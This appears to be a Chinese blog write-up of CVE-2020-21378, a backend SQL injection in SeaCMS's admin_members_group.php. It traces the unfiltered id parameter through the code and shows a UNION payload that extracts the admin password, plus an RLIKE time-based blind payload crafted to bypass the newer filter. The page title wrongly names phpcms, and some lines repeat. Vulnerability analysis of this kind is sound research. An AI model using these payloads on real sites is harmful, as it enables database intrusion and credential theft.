phpcms v9 sql注入

CVE-2020-21378(seacms后台SQL注入) 漏洞详情 CVE-2020-21378是海洋cms v10.1后台admin members group.php的编辑动作中的id参数SQL注入漏洞, 这个漏洞其实在很早的版本就存在了只不过一直没人发现而已,因为我刚好搭建有seacms v6.4版本,测试发现漏洞存在。与v10.1不同的是在v

CVE-2020-21378(seacms后台SQL注入)

漏洞详情

CVE-2020-21378是海洋cms v10.1后台admin members group.php的编辑动作中的id参数SQL注入漏洞,

这个漏洞其实在很早的版本就存在了只不过一直没人发现而已,因为我刚好搭建有seacms v6.4版本,测试发现漏洞存在。与v10.1不同的是在v 6.4没有对输入的id变量值做任何过滤

漏洞分析

seacms在后台用户管理添加用户处(需要抓包获得url)

在这里插入图片描述

路径为:url/admin/admin_members_group.php?action=edit&id=2

common.php将通过GET、POST、COOKIE等方法提交的参数注册为变量

在这里插入图片描述

$id变量没有经过什么过滤就直接插入到SQL语句中(360webscan.php会使用正则规则对注册的变量会进行检查,但对$id并没有任何检查),也没有引号包裹,十分好利用

在这里插入图片描述

跟进到sql.class.php中GetOen函数

在这里插入图片描述

给查询语句末尾加上 limit 0,1 限制查询一条语句 。然后传入Execute函数

在这里插入图片描述

这里会先对语句进行安全检查然后在执行,这里有一个前提是$this->safeCheck为True。使用外部变量初始化类并连接数据库时会赋值为True

在这里插入图片描述

但对于$id变量却没有这一步(就跟在common.php注册为变量没有经过360webscan.php的检查一样)

这里测试一下

在这里插入图片描述
在这里插入图片描述

这里如果$this->safeCheck为True为True会输出1,这里一共进行了3次sql执行,但$id变量这次却没有经过初始化,也就没有经过CheckSql函数的安全检查

可以任意构造注入语句

url/admin/admin_members_group.php?action=edit&id=-2%20union%20select%201,(select%20password%20from%20sea_admin),3,4,user(),6

在这里插入图片描述

在seacms v10.1版本中,在sql.class.php中GetOne中加入了对SQL语句的安全检查(上面的注入语句这里用不了)

在这里插入图片描述

注释掉这一行语句,依旧可以用

在这里插入图片描述
在这里插入图片描述

说明,只是在这里进行了安全检查,绕过就行了。跟进ChecKSql函数

会过滤的语句

在这里插入图片描述

在这里插入图片描述

下面这里的这个检查与先前审计过的duomicms的检查函数一样,是以单引号为界,把第一个引号前的语句给$clean,最后原样返回$db_string

在这里插入图片描述

但这里检查的十分严格,能利用的基本过滤掉了

在这里插入图片描述

绕过方法参考https://xz.aliyun.com/t/2828#toc-3。但是这里禁用了报错函数之类的函数(绕过也没用)

在这里插入图片描述

这里使用RLIKE正则注入语句代替sleep(5)

/admin_members_group.php?action=edit&id=2 and if(mid(database(),1,1)='s',sleep(5),1)	#sleep无效

admin_members_group.php?action=edit&id=2%20and%20if(mid(database()%2c1%2c1)%3d%27s%27%2cconcat(rpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27)%2crpad(1%2c999999%2c%27a%27))%20rlike%20%27(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2bsuibianxiema%27%2c1)

参考:https://www.cnblogs.com/jinyanshenxing/p/15805060.html

我这里是windows+phpstudy 2018 没有延时效果
`

参考:https://www.cnblogs.com/jinyanshenxing/p/15805060.html

我这里是windows+phpstudy 2018 没有延时效果

知秋君
上一篇 2024-08-03 17:36
下一篇 2024-08-03 17:02

相关推荐